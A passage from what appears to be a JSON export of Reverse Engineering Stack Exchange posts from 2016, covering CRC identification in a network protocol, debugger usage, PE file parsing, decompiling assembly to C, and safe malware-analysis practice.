</p>\n\n<p>Sidenote: the disassembly shows IDA's age-old bug whereby it locally renames registers to the names of the parameters they hold on entry to the function. </p>\n\n<p>E.g., for reading the disassembly of this particular function you need to substitute 'ecx' for 'this' mentally because otherwise it just doesn't make sense:</p>\n\n<pre><code>    ...\n    xor this, this\n    mov cl, ah\n    xor cl, bl\n\n    xor ebx, ebx\n    mov bh, al\n    and this, 0FFh\n    movzx   this, cx\n    xor bx, [esi+this*2]\n    ...\n</code></pre>\n\n<p>It's simply ludicrous. I guess a certain someone needs to read up on the concept of live ranges, and why compilers bother to add live range data to the bits of debug info where IDA gets the name/register association from.</p>\n\n<p>For completeness' sake here are the other parts of the CRC rig, for those who want to use C# for spelunking:</p>\n\n<pre><code>static ushort[] lookup;\n\nstatic void initialise_lookup (ushort polynomial = 0x8005)\n{\n    for (uint edx = 0; edx &lt;= 0xFF; ++edx)\n    {\n        uint ax = edx &lt;&lt; 8;\n\n        for (uint esi = 0; esi &lt; 8; ++esi)\n            if ((ax &amp; 0x8000) != 0)\n                ax = (ax &lt;&lt; 1) ^ polynomial;\n            else\n                ax &lt;&lt;= 1;\n\n        lookup[edx] = (ushort)ax;\n    }\n}\n\nstatic ushort crc16 (string s, ushort initial = 0)\n{\n    return crc16(System.Text.Encoding.ASCII.GetBytes(s), initial);\n}\n</code></pre>\n\n<p>That's it for the raw basis of the packet CRC. Now it's time to hammer out the specifics and to see if someone deviously passes something other than 0 for the initial value, or whether the resulting CRC is stomped on somehow before being inserted into the packet... Another thing to watch out for in the original EXE is that the CRC class might well get instantiated with different polynomials in different parts of the program.</p>\n\n<p>Eyeballing the packets in <code>WPE_Plogtxt.txt</code> shows that only the third and fourths bytes (offsets 2 and 3) have enough entropy to be a CRC, and that the initial word is the length of the packet:</p>\n\n<pre><code>[u16 length] [u16 crc?] [5 headerish bytes] [payload]\n</code></pre>\n\n<p>Examples:</p>\n\n<pre><code>09 00 : 01 B9 : DF 07 00 00 01\n09 00 : E2 CD : 75 00 00 00 01\n\n0B 00 : 12 AD : 10 00 00 00 01 : 95 03 \n0B 00 : 14 05 : 10 00 00 00 01 : A9 9A\n0B 00 : 11 2B : 10 00 00 00 01 : BA CD\n0B 00 : 77 D0 : 46 00 00 00 01 : 4D 2A\n\n0C 00 : 2D B1 : 42 00 00 00 01 : B7 D1 90\n0D 00 : 04 E6 : 6D 01 00 00 01 : F1 52 ED DF\n0E 00 : 50 9D : 2C 00 00 00 01 : F7 E9 94 FC 3A\n0F 00 : 4C 88 : 21 01 00 00 01 : 30 EB 62 D0 C4 D0\n10 00 : 81 28 : 1B 00 00 00 01 : 64 CD E6 F0 24 CD F0\n11 00 : C5 FB : 31 00 00 00 01 : 75 0F 13 10 DE 0F 11 2F \n12 00 : 9E F7 : 18 00 00 00 01 : 19 D8 F5 D8 F2 01 95 D8 D8\n</code></pre>\n\n<p>But sometimes the stuff doesn't fit at all:</p>\n\n<pre><code>13 00 : 00 00 : 03 00 00 00 00 : 00 00 0B E1 F5 05 00  00 00 00\n</code></pre>\n\n<p>In order to make quick headway it would be helpful to run analyses on large numbers of samples, i.e. directly on nice fat packet capture files. Where's this \"PAC\" format from?</p>\n\n<p>Here are all samples of length 9 that I could find, to demonstrate why more analysis is necessary. Several of the samples differ only in the supposed CRC. This means that if these frames do contain CRCs then these must refer to some bigger frame of reference. </p>\n\n<pre><code>09 00 : C5 28 : 05 00 00 00 01\n09 00 : CD 65 : 05 00 00 00 01\n09 00 : EA A6 : 1E 00 00 00 00\n09 00 : 58 29 : 2D 00 00 00 00\n09 00 : CC 96 : 2D 00 00 00 00\n09 00 : D0 B0 : 2D 00 00 00 00\n09 00 : F8 8A : 2D 00 00 00 00\n09 00 : 57 3C : 4F 00 00 00 01\n09 00 : 41 47 : 5A 00 00 00 00\n09 00 : 8E A2 : 5A 00 00 00 00\n09 00 : DF B3 : 5A 00 00 00 00\n09 00 : E2 CD : 75 00 00 00 01\n09 00 : 01 B9 : DF 07 00 00 01\n09 00 : 02 C9 : DF 07 00 00 01\n09 00 : 0F 39 : DF 07 00 00 01\n09 00 : 1A F2 : DF 07 00 00 01\n09 00 : 36 7E : DF 07 00 00 01\n09 00 : CD 65 : DF 07 00 00 01\n09 00 : D0 55 : DF 07 00 00 01\n09 00 : D2 D9 : DF 07 00 00 01\n</code></pre>\n\n<p>This complicates the picture and makes it more difficult to work out the specifics of the CRCs via packet analysis. It might be faster to attack the problem with IDA, by analysing references to the CRC function.</p>\n"
    },
    {
        "Id": "12076",
        "CreationDate": "2016-02-20T21:36:12.710",
        "Body": "<p>I'm a Olly newbie... whenever I set a breakpoint at an address and found I need to restart the target program, the previously set breakpoints are all removed. Is there anyway to let Olly to remember the breakpoints for certain executable, so that everytime when I want to debug that executable, the previously set breakpoints are still there?</p>\n",
        "Title": "Ollydbg:how to let Olly remember a breakpoint for next run",
        "Tags": "|ollydbg|debugging|breakpoint|",
        "Answer": "<p>This is a limitation of OllyDbg v1.</p>\n\n<p>There are a couple of plugins designed to fix this in v1 (such as <a href=\"http://www.openrce.org/downloads/details/168/Breakpoint_Manager\" rel=\"nofollow\">Breakpoint Manager</a>), but the better solution is to upgrade to <a href=\"http://www.ollydbg.de/odbg201.zip\" rel=\"nofollow\">OllyDbg v2</a>.</p>\n"
    },
    {
        "Id": "12091",
        "CreationDate": "2016-02-24T17:26:09.930",
        "Body": "<p>I've been working my way through an undocumented TCP-based protocol by monitoring traffic with tcpdump, Wireshark, and some Python packages (scapy, numpy) with good luck so far, but I've hit a wall with what I think is some sort of checksum/hash/CRC.</p>\n\n<p>Watching a client binary, it sends its first \"hello\" sort of message, gets back a response from the server with some basic things (server version, etc.), then sends a set of commands in the subsequent messages.  It's that second and subsequent message type I can't figure out.  Here's an example:</p>\n\n<p><code>\n2f c6 00 f2 00 36 01 08  56 cc 80 c4 00 00 00 00\n00 00 00 00 01 04 72 6f  6f 74 00 68 6f 73 74 6e\n61 6d 65 00 6c 6d 67 72  64 00 2f 64 65 76 2f 70\n74 73 2f 30 00 00\n</code></p>\n\n<p>The first 22 bytes are what I'm calling the header, since it's a fixed-length segment and after that it's all just null-terminated ASCII strings.  The bytes of that header:</p>\n\n<ul>\n<li>1st: always <code>0x2f</code></li>\n<li>2nd: looks like a sort of sum over the message bytes but I'm not 100% on that part</li>\n<li>3rd and 4th: total mystery to me and the reason for this post</li>\n<li>5th: always <code>0x00</code></li>\n<li>6th: total number of bytes in the message</li>\n<li>7th-8th: always <code>0x0108</code></li>\n<li>9th-12: four-byte unix timestamp</li>\n<li>13th-20th: always <code>0x00</code></li>\n<li>21st-22nd: always <code>0x0104</code></li>\n</ul>\n\n<p><strong>My question is about the 3rd and 4th byte: what method is the client using to come up with those values, and/or what should I try to figure it out myself?</strong></p>\n\n<p>I can test a wide variety of values by varying the hostname, username, system time, and TTY the client is running under, so I can easily gather gobs of example packets if needed.  So far I've tried a statistical approach with that by looking at a histogram of what values those bytes take on across a wide range of inputs.  I haven't discovered too much from that, except:</p>\n\n<ul>\n<li>3rd byte spans 0 - 63 (i.e., its first two bits are always 0)</li>\n<li>4th byte spans 0 - 255</li>\n<li>neither byte ever takes on the values 10 - 13 (there's a gap in an otherwise evenly-spread histogram on these specific values)</li>\n</ul>\n\n<p>Another method was to give it a few specific values of hostname to see how it behaves.  These things DO change the value of both of those mystery bytes:</p>\n\n<ul>\n<li>Switching the order of message bytes</li>\n<li>Inverting a bit in a particular position in two different bytes</li>\n</ul>\n\n<p>I then tried crunching through different types of checksums I've read about (variations on BSD and Fletcher) as well as CRCs (trying a 15-bit polynomial to produce a 14-bit remainder, but, is that actually a thing that's done?) with no luck so far.  Any ideas?</p>\n",
        "Title": "What checksum algorithm is this network protocol using?",
        "Tags": "|linux|protocol|networking|wireshark|",
        "Answer": "<p><strong>Got it!</strong></p>\n\n<p>The algorithm is a CRC with the following parameters, stored in those two bytes as a big-endian short:</p>\n\n<ul>\n<li>Polynomial: 0x2e97</li>\n<li>Xor In Value: 0</li>\n<li>Xor Out Value: 0</li>\n<li>Reflect Input: True</li>\n<li>Reflect Out: True</li>\n</ul>\n\n<p>To figure it out, I used my packet capture data, <a href=\"http://reveng.sourceforge.net/\" rel=\"nofollow\">CRC RevEng</a>, and some shell scripting to glue it together.  I then used <a href=\"https://pycrc.org/\" rel=\"nofollow\">pycrc</a> to calculate the check values on the fly to make my own network requests check out OK on the server. </p>\n\n<p>I'm considered my question answered since this method reliably gets the server to acknowledge my custom requests, but what Jason and ebux recommended for reverse engineering the binaries still looks to be the only way I'd be able to pin it down any further.  For example, there were a few different CRCs that fit all the data I'm working with. I learned quite a bit with using gdb and objdump, but quickly got in over my head.  Time will tell if I've just delayed the inevitable, I suppose.</p>\n\n<p><strong>More details:</strong></p>\n\n<p>First in Wireshark I selected a good range of packets, some with the same length, some with differing lengths.  For each I exported the raw binary into a file.  (In the Packet Details frame, right-click the Data display, click \"Export selected packet bytes...\".)  Since I didn't know for sure how the bytes were organized, but I had a good guess of which were the CRC, I made modified versions of the files with the check bytes appended instead of at the beginning, with some clunky <code>dd</code> usage show below.  The variant that finally worked was putting the bytes at the end in a little-endian format that reveng would understand.  In a bash shell:</p>\n\n<pre><code>dd if=example bs=1 skip=4 &gt; example_crc_reverse\ndd if=example bs=1 count=1 skip=3 &gt;&gt; example_crc_reverse\ndd if=example bs=1 count=1 skip=2 &gt;&gt; example_crc_reverse\n</code></pre>\n\n<p>These modified files were then fed into reveng.  Since I didn't even know for sure the width of the possible CRC polynomial, I looped from 1 to 16 to see what it'd find.  In bash again:</p>\n\n<pre><code>for width in $(seq 1 16); do reveng -w $width -s -f example*_crc_reverse; done\n</code></pre>\n\n<p>Even with many packets it finds a number of non-standard CRCs that fit the data, but the one above is the highest-order one that doesn't require strange xor values.  The ones found in the reveng output:</p>\n\n<pre><code>width=1  poly=0x1  init=0x0  refin=false  refout=false  xorout=0x0  check=0x1  name=(none)\nwidth=1  poly=0x1  init=0x1  refin=false  refout=false  xorout=0x1  check=0x1  name=(none)\nwidth=1  poly=0x1  init=0x0  refin=true  refout=true  xorout=0x0  check=0x1  name=(none)\nwidth=1  poly=0x1  init=0x1  refin=true  refout=true  xorout=0x1  check=0x1  name=(none)\nwidth=3  poly=0x5  init=0x0  refin=true  refout=true  xorout=0x0  check=0x0  name=(none)\nwidth=4  poly=0x7  init=0x0  refin=true  refout=true  xorout=0x0  check=0xb  name=(none)\nwidth=4  poly=0x7  init=0xd  refin=true  refout=true  xorout=0xb  check=0xb  name=(none)\nwidth=10  poly=0x381  init=0x000  refin=true  refout=true  xorout=0x000  check=0x032  name=(none)\nwidth=11  poly=0x083  init=0x000  refin=true  refout=true  xorout=0x000  check=0x032  name=(none)\nwidth=11  poly=0x083  init=0x781  refin=true  refout=true  xorout=0x40f  check=0x032  name=(none)\nwidth=13  poly=0x058d  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x1c1f  name=(none)\nwidth=14  poly=0x2e97  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x3076  name=(none)\nwidth=14  poly=0x2e97  init=0x258d  refin=true  refout=true  xorout=0x2c69  check=0x3076  name=(none)\n</code></pre>\n\n<p>(I thought the 14-bit one with no xorin/xorout step made the most sense to use, but I don't have a good argument why.) In Python, with a binary request prepared as a list of integer byte values, pycrc can calculate the check value like this:</p>\n\n<pre><code>crc = pycrc.Crc(width=14, poly=0x2e97, reflect_in=True, xor_in=0, reflect_out=True, xor_out=0)\ncrc_val = crc.table_driven(binary)\n</code></pre>\n\n<p>The calculated <code>crc_val</code> from pycrc is already stored with the endianness expected by the server, so it can be placed as-is a the beginning of the message.</p>\n"
    },
    {
        "Id": "12100",
        "CreationDate": "2016-02-25T19:15:01.320",
        "Body": "<blockquote>\n  <p>Perhaps similar to <a href=\"https://reverseengineering.stackexchange.com/questions/4251/reverse-engineering-zip-file\">Reverse engineering zip file</a>, but my problem is clearly different</p>\n</blockquote>\n\n<hr>\n\n<p>Do zip files contain some specific sort of uniform code? What I mean by this is: Is it possible to analyze some properties of the zip file? Editing a zip with a hex editor is not helpful at all, as it is unintelligible to me.</p>\n",
        "Title": "Dissassembling a zip file",
        "Tags": "|disassembly|",
        "Answer": "<p>Yes, the ZIP file format is thoroughly documented here: <a href=\"https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT\" rel=\"nofollow noreferrer\">https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT</a></p>\n\n<p>You can use <a href=\"http://www.sweetscape.com/010editor/\" rel=\"nofollow noreferrer\">010 Editor</a>'s <a href=\"http://www.sweetscape.com/010editor/templates/files/ZIPTemplate.bt\" rel=\"nofollow noreferrer\">ZIP template</a> for analyzing ZIP files:</p>\n\n<p><a href=\"https://i.stack.imgur.com/kuRzQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kuRzQ.png\" alt=\"ZIP\"></a></p>\n"
    },
    {
        "Id": "12103",
        "CreationDate": "2016-02-26T01:15:25.097",
        "Body": "<p>I am working on some x86 (32/64 bits) ELF binary code. These binaries are compiled from C and C++ program code and I am trying to detect loops inside the binaries. </p>\n\n<p>I am newbie to this area, and I am wondering, what is the standard way to identify a loop in binary code? </p>\n\n<p>I prefer to use some static methods to detect the loop instances, as I am not able to generate well-performing dynamic test cases.</p>\n",
        "Title": "What is the \"standard\" approach to find loop in binary code?",
        "Tags": "|binary-analysis|binary|",
        "Answer": "<p>You can use this algo: <a href=\"https://en.wikipedia.org/wiki/Kosaraju%27s_algorithm\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Kosaraju's_algorithm</a></p>\n<p>You need to divide the assembler code into graphs (basic blocks) and find strongly connected graphs.\n<a href=\"https://habr.com/ru/articles/331904/\" rel=\"nofollow noreferrer\">https://habr.com/ru/articles/331904/</a></p>\n<p><a href=\"https://habr.com/ru/articles/537290/\" rel=\"nofollow noreferrer\">https://habr.com/ru/articles/537290/</a></p>\n"
    },
    {
        "Id": "12126",
        "CreationDate": "2016-03-02T14:51:28.283",
        "Body": "<p>I have thousands of Linux malware samples in <code>ELF</code> format. And I am thinking to use <code>dynamic analysis</code> (say, <code>PIN</code>) to obtain an execution trace of each malware sample.</p>\n\n<p>However, I am afraid such activity would crash my computer. So am I asking, how to dynamically analysis malware samples <strong>safely</strong>?</p>\n\n<p>I know somehow I need to run it in a <code>VM</code>, but isn't it possible that the VM can be crashed as well? Should I reinstall the <code>VM</code> at that time? basically What's the best practice to do so? </p>\n\n<p>Thank you a lot. </p>\n",
        "Title": "Dynamic analysis of malware samples",
        "Tags": "|binary-analysis|malware|elf|dynamic-analysis|",
        "Answer": "<p>It is very unlikely that the VM application can be crashed unless you are dealing with very sophisticated ELF malwares targeting your VM version. The guest OS or the environment inside the VM can be crashed though. In the event that it happens, you don't have to reinstall VM. Just follow SnakeByte instructions.</p>\n"
    },
    {
        "Id": "12137",
        "CreationDate": "2016-03-03T12:27:11.727",
        "Body": "<p>I am quite new to reverse engineering (but have some experience with OllyDbg). What I want to do, is to attach to Windows executable file or library (mostly PE32, but x64 would be a great benefit) and record how it interacts with virtual memory in order to do some self-study and experiments. E.g. I want to have <strong>timestamp,operation type(read,write,allocate etc.), address, amount of data transfered</strong> records for some period of program's runtime. My first thought was to use breakpoints in OllyDbg, where you can set breakpoint on the memory range and operation type. But this will cause execution to stop every time, so gathering of the data will take a lot of time. Also I need to know memory ranges, but if program will try to write into unallocated memory for some reason - I'll lose this data. Also I found that Intel Pin can do something similar to what I want, but as I understood it can't record the timestamp of memory operation.</p>\n\n<p>So my questions is:\nIs there any tool that can fit my requests?\nIf not - which tools can be modified in some feasible time?\nIn the worst case I would be satisfied with something that can track amount of read(or write, or allocation - all separately) operations per millisecond (or other significantly small time period).</p>\n\n<p>Thank you.</p>\n",
        "Title": "Memory activity tracking",
        "Tags": "|ollydbg|memory|breakpoint|",
        "Answer": "<p>As you noted, PIN would likely be the best option for this. Since PIN allows you to register user-defined callbacks for events, you could indeed record timestamps via your callback functions.</p>\n\n<p>You may also want to check out <a href=\"https://bitbucket.org/oebeling/tracectory/wiki/Home\" rel=\"nofollow noreferrer\">tracectory</a>, which parses OllyDbg run traces. It might not do exactly what you want, but it's open source, and you could probably get your desired output with a few simple modifications.</p>\n\n<p><a href=\"https://i.stack.imgur.com/AAv2d.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AAv2d.png\" alt=\"tracectory\"></a></p>\n\n<p>You could also hack up QEMU or Bochs for your needs, but I wouldn't recommend it as these are rather \"heavyweight\" options, especially since you're interested in monitoring only a single process.</p>\n"
    },
    {
        "Id": "12138",
        "CreationDate": "2016-03-03T13:58:00.297",
        "Body": "<p>I need assistance decompiling the following from ASM to pseudo C.</p>\n\n<pre><code>Code 1\n...\nmov edx, Var1       # Move Var1 to edx\nmov ecx, Var2       # Move Var2 to ecx\nmov eax, edx        # Move EDX (Var1) to EAX\nimul ecx            # Multiply EAX (Var1) by ECX (Var2). Store result into EDX:EAX\nmov edx, eax        # Move EAX to EDX\nimul edx, eax       # Multiply EDX and EAX, store result into EDX\nmov Var3, ecx       # Move ECX into Var3\n...\n</code></pre>\n\n<p>I commented the ASM and deduced it results in Var3 = Var2. But what would the C code look like?</p>\n\n<pre><code>Code 2\n...\n    mov dword ptr [esi], 1\n    xor edx, edx\n    mov [ebx], edx\n    jmp short loc_4012F1\n\nloc_4012E8:\n    mov ecx, [esi]\n    imul ecx, [esi]\n    mov [esi], ecx\n    inc dword ptr [ebx]\n\nloc_4012F1:\n    cmp dword ptr [ebx], 8\n    jl short loc_4012E8\n...\n</code></pre>\n\n<p>For this second code, I'm thinking something like,</p>\n\n<pre><code>for (int i = 0; i &gt; 8; i++){\nint a = 8;\n\nint b = 9;\n\nint c = a * b;\n}\n</code></pre>\n\n<p>Appreciate any help</p>\n",
        "Title": "Help Coverting ASM to C",
        "Tags": "|assembly|decompilation|c|",
        "Answer": "<p>Simple solution d123 use IDA PRO with Hex-Rays Decompiler, it produces very good results for simple assembly codes like this</p>\n\n<p>I assembled your code line by line.</p>\n\n<p><a href=\"https://i.stack.imgur.com/DkmmO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DkmmO.png\" alt=\"assembly code image\"></a></p>\n\n<p>Then Pressed <code>F5 key</code> and bam got this code below!</p>\n\n<pre><code>_DWORD *a1@&lt;ebx&gt;;\n_DWORD *a2@&lt;esi&gt;;\n  *a2 = 1;\n  for ( *a1 = 0; *a1 &lt; 8; ++*a1 )\n    *a2 *= *a2;\n</code></pre>\n\n<p>it can compile too if you rename <code>_DWORD</code> to <code>unsigned int</code> \nand \nremove <code>@&lt;ebx&gt;</code> and <code>@&lt;esi&gt;</code> these are just to show what a1 and a2 means</p>\n"
    },
    {
        "Id": "12140",
        "CreationDate": "2016-03-03T14:57:06.733",
        "Body": "<p>The PE-Header of Windows executables contains as its third field the \"Timestamp at compile time\". To reach reproducibility in our build process we would like to set the time (Epoch seconds) to zero (=1970-01-01 00:00:00).</p>\n\n<p>Does this have any side-effects? According to </p>\n\n<p><a href=\"https://support.microsoft.com/en-us/kb/164151\" rel=\"nofollow\">https://support.microsoft.com/en-us/kb/164151</a></p>\n\n<p>the header does not impact the function.</p>\n\n<p>Are there compiler/linker flags to get this automatically?</p>\n\n<p>Kind regards\nStefan S.</p>\n",
        "Title": "What are the side effects of setting the timestamp in the PE-header to 0?",
        "Tags": "|windows|pe|binary|",
        "Answer": "<blockquote>\n  <p>Does this have any side-effects?</p>\n</blockquote>\n\n<p>No, the Windows loader doesn't care about the timestamp in an EXE's PE header.</p>\n\n<blockquote>\n  <p>Are there compiler/linker flags to get this automatically?</p>\n</blockquote>\n\n<p>No, Visual C++'s <code>link.exe</code> does not have a command line switch for specifying the timestamp to use. (And Visual C++'s <code>cl.exe</code> doesn't apply since the PE timestamp is a linking timestamp, not a compiling timestamp.)</p>\n"
    },
    {
        "Id": "12147",
        "CreationDate": "2016-03-04T14:22:41.183",
        "Body": "<p>I have to catch first-chance exceptions occurring in user-mode application during <strong>kernel-mode</strong> debugging session.</p>\n\n<p>I have written simple example application called <em>Exceptions.exe</em>:</p>\n\n<pre><code>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)\n{\n    MessageBox(NULL, \"Press OK to generate exception.\", \"Title\", MB_OK);\n    __try\n    {\n        __asm\n        {\n            xor eax, eax\n            mov dword ptr[eax], eax  // I wanna break here\n        }\n    }\n    __except(EXCEPTION_EXECUTE_HANDLER)\n    {\n        MessageBox(NULL, \"In exception handler.\", \"Title\", MB_ICONINFORMATION);\n    }\n    return 0;\n}</code></pre>\n\n<p>I launch it in the being debugged system. Then go to windbg, press 'ctrl+break' and enter following commands:</p>\n\n<pre><code>\n3: kd> !process 0 0 Exceptions.exe\nPROCESS 853b37e0  SessionId: 1  Cid: 0f48    Peb: 7ffdf000  ParentCid: 06c4\n    DirBase: be658280  ObjectTable: 8f97acf8  HandleCount:  35.\n    Image: Exceptions.exe\n\n3: kd> .process /i 853b37e0\nYou need to continue execution (press 'g' ) for the context\nto be switched. When the debugger breaks in again, you will be in\nthe new process context.\n3: kd> g\nBreak instruction exception - code 80000003 (first chance)\nnt!RtlpBreakWithStatusInstruction:\n82ab6110 cc              int     3\n2: kd> sxe *\n2: kd> g\n</code></pre>\n\n<p>I expect to break on the instruction <strong>mov dword ptr[eax], eax</strong> but nothing occurred. In the being debugged system I've got message box \"In exception handler\".</p>\n\n<p>Is there any way to get what I want? I can't debug target process in user mode, because it's protected from attaching debugger.</p>\n",
        "Title": "WinDBG. How to catch first-chance exceptions?",
        "Tags": "|windbg|kernel-mode|exception|",
        "Answer": "<p>In WinDbg: <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff563176.aspx\" rel=\"nofollow\"><code>!gflag</code></a> <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff558817.aspx\" rel=\"nofollow\"><code>+soe</code></a></p>\n\n<p>You can see <a href=\"http://www.openrce.org/blog/view/1564/Kernel_debugger_vs_user_mode_exceptions\" rel=\"nofollow\">http://www.openrce.org/blog/view/1564/Kernel_debugger_vs_user_mode_exceptions</a> for more details.</p>\n"
    },
    {
        "Id": "12154",
        "CreationDate": "2016-03-05T19:56:58.017",
        "Body": "<p>I am trying to get the contents of the .text section of a file (notepad.exe) using the following code:</p>\n\n<pre><code>#define SECHDROFFSET(a) ((LPVOID) ( (LPBYTE) a           + \\\n                    ((PIMAGE_DOS_HEADER)a)-&gt;e_lfanew + \\\n                    sizeof(IMAGE_NT_HEADERS)))\n\nPIMAGE_DOS_HEADER     pDosH;\nPIMAGE_NT_HEADERS     pNtH;\nPIMAGE_SECTION_HEADER pSecH;\n\nHANDLE hFile;\n\nDWORD  dwFileSize, dwSectionSize, dwStubSize,\n       dwVSize, dwOldProt, dwSpot, dwGap, bytes;\n\nLPBYTE FileBuffer, SectionBuffer;\nCHAR FileName[MAX_PATH];\n\nprintf(\"Input file path: \");\nscanf(\"%s\", &amp;FileName);\n\n// open it and get the size\nhFile = CreateFileA(FileName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);\ndwFileSize = GetFileSize(hFile, 0);\n\n// load it into memory\nFileBuffer = (LPBYTE) malloc(dwFileSize);\nReadFile(hFile, FileBuffer, dwFileSize, &amp;bytes, 0);\n\npDosH = (PIMAGE_DOS_HEADER) FileBuffer;\n\n// basic checks\nif(pDosH-&gt;e_magic != IMAGE_DOS_SIGNATURE)\n    return -1;\n\npNtH = (PIMAGE_NT_HEADERS) (FileBuffer + pDosH-&gt;e_lfanew);\n\nif(pNtH-&gt;Signature != IMAGE_NT_SIGNATURE)\n    return -2;\n\npSecH = (PIMAGE_SECTION_HEADER) SECHDROFFSET(FileBuffer);\n\nwhile(memcmp(pSecH-&gt;Name, \".text\", 5)) \n    pSecH++;\n</code></pre>\n\n<p>The problem is that the section names are not valid; when debugging I never see a string of type <code>.&lt;section_name&gt;</code> to take the value of <code>pSecH-&gt;Name</code>. They are always unprintable characters.</p>\n\n<p>Am I reading from the correct offset?</p>\n",
        "Title": "Retrieving the contents of PE file sections",
        "Tags": "|c|pe|assembly|section|",
        "Answer": "<p>As per the comments above, the <code>SECHDROFFSET()</code> macro formula is not reliable. You should instead use the macro <code>IMAGE_FIRST_SECTION()</code>.</p>\n"
    },
    {
        "Id": "12164",
        "CreationDate": "2016-03-07T00:11:35.093",
        "Body": "<p>Has anybody gotten Immunity Debugger to work on windows 10 yet? I downloaded it on Windows 10, launch it as administrator, and the GUI opens for about half a second and then it exits, no errors or messages. I have python installed, I reinstalled immunity multiple times, and I tried running it in Windows 7 compatibility mode. Nothing seems to work. My theory is that some dll is missing or changed. Any ideas or is it just my computer? Also, Ollydbg does work on 10, but I find Immunity debugger more useful.</p>\n",
        "Title": "Immunity Debugger on Windows 10?",
        "Tags": "|debuggers|immunity-debugger|",
        "Answer": "<p>I am running Windows 10 x64 and I had the same problem as you do. The problem is with the environment variables regarding your Python installation. I am using Python 2.7.11 which is the currently latest release for the 2.x series. </p>\n\n<p>So, to make Immunity Debugger work on Windows 10 modify(and ADD if necessary) the following environment variables(assuming Python is installed at <code>C:\\Python27</code>):</p>\n\n<ul>\n<li><code>PATH=\"C:\\python27;%PATH%\"</code></li>\n<li><code>PYTHONHOME=\"C:\\python27\"</code></li>\n<li><code>PYTHONPATH=\"C:\\Python27\\DLLs;C:\\Python27\\Lib;C:\\Python27\\Lib\\site-packages\"</code></li>\n</ul>\n\n<p>The following changes made it work for me.</p>\n"
    },
    {
        "Id": "12172",
        "CreationDate": "2016-03-08T10:08:19.867",
        "Body": "<p>I want to extract opcodes 'Assembly instructions' from malware binaries . and because I have large number of samples I don't want to do it invidiously .. instead I want to automate the process of doing that .. any suggestion ? \nI have done lots of research and I can see that I can use the IDA pro 'the GUI' for this but I am not sure if I can automate especially using the free version of IDA.\nIs there a python based tool which can do that and I don't mind to write a python script then to automate it. \nIt may be important also to mention that I am working on linux not windows. </p>\n",
        "Title": "Extracting Opcodes of a binary",
        "Tags": "|malware|disassemblers|",
        "Answer": "<p>Yes, you can automate this by running IDA Pro with the <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"nofollow\"><code>-B</code> command line switch</a>:</p>\n\n<blockquote>\n<pre><code>-B     batch mode. IDA will generate .IDB and .ASM files automatically\n</code></pre>\n</blockquote>\n"
    },
    {
        "Id": "12178",
        "CreationDate": "2016-03-08T17:37:41.063",
        "Body": "<p>In my vtable i found a method that simply returns ecx.\nNow im confused as to what this tries to accomplish ? \nIs this a known useful sequence ?</p>\n",
        "Title": "Virtual Method that returns <this>?",
        "Tags": "|ida|c++|",
        "Answer": "<p>The C++ compiler of Visual Studio uses <code>ecx</code> as the default register for <code>this</code> pointer, a virtual method which returns <code>ecx</code> then actually returns <code>this</code> or <code>*this</code>. For example, you can test the following code:</p>\n\n<pre><code>class A\n{\npublic:\n  virtual A getmyself() { return *this; }\n  virtual A* getmyselfpointer() { return this; }\n}\n</code></pre>\n\n<p>The generated assembly code for <code>getmyself</code> (the same for <code>getmyselfpointer</code>) is</p>\n\n<pre><code>getmyself:\n  mov     eax, ecx\n  retn\n</code></pre>\n\n<p>This detail is not true for <code>clang</code> or <code>gcc</code> since they do not use <code>ecx</code> as default register for <code>this</code>.</p>\n"
    },
    {
        "Id": "12180",
        "CreationDate": "2016-03-09T08:13:42.540",
        "Body": "<p>How find address of specific pool that allocated by specific tag</p>\n\n<p>e.g. address of pool that allocated by CM7 tag?</p>\n\n<p>thanks</p>\n",
        "Title": "How find address of specific pool allocated?",
        "Tags": "|windows|debugging|windbg|kernel-mode|",
        "Answer": "<p>In <a href=\"https://en.wikipedia.org/wiki/WinDbg\" rel=\"nofollow\">WinDbg</a>, you can use the <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff564696.aspx\" rel=\"nofollow\"><code>!poolfind</code></a> command:</p>\n\n<blockquote>\n  <p>The <strong>!poolfind</strong> extension finds all instances of a specific pool tag in\n  either nonpaged or paged memory pools.</p>\n  \n  <p>...</p>\n\n<pre><code>kd&gt; !poolfind SeSd 0\n\nScanning large pool allocation table for Tag: SeSd (827d1000 : 827e9000)\n\nSearching NonPaged pool (823b1000 : 82800000) for Tag: SeSd\n\n826fa130 size:   c0 previous size:   40  (Allocated) SeSd\n82712000 size:   c0 previous size:    0  (Allocated) SeSd\n82715940 size:   a0 previous size:   60  (Allocated) SeSd\n8271da30 size:   c0 previous size:   10  (Allocated) SeSd\n82721c00 size:   10 previous size:   30  (Free)      SeSd\n8272b3f0 size:   60 previous size:   30  (Allocated) SeSd\n8272d770 size:   60 previous size:   40  (Allocated) SeSd\n8272d7d0 size:   a0 previous size:   60  (Allocated) SeSd\n8272d960 size:   a0 previous size:   70  (Allocated) SeSd\n</code></pre>\n</blockquote>\n"
    },
    {
        "Id": "12191",
        "CreationDate": "2016-03-09T18:28:02.683",
        "Body": "<p>I'm in the process of learning the Windows API and reversing in general, so I apologize if this is a fairly dumb question. </p>\n\n<p>After reading a section of 'Practical Malware Analysis' discussing the Native API  I decided to have a look at some of ntdll.dll's exported functions. I came across the <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff556539.aspx\" rel=\"nofollow\">NtLoadDriver</a> which simply loads a specified driver from the registry. </p>\n\n<p>Would this driver exist in user space, or in kernel space? Is it even possible for a non kernel mode driver to exist?</p>\n\n<p>If it's that simple to load a driver in kernel mode (I'm assuming it's not) then why don't we see more malware in the form of drivers?</p>\n\n<p>Any insight or clarification would be greatly appreciated. </p>\n",
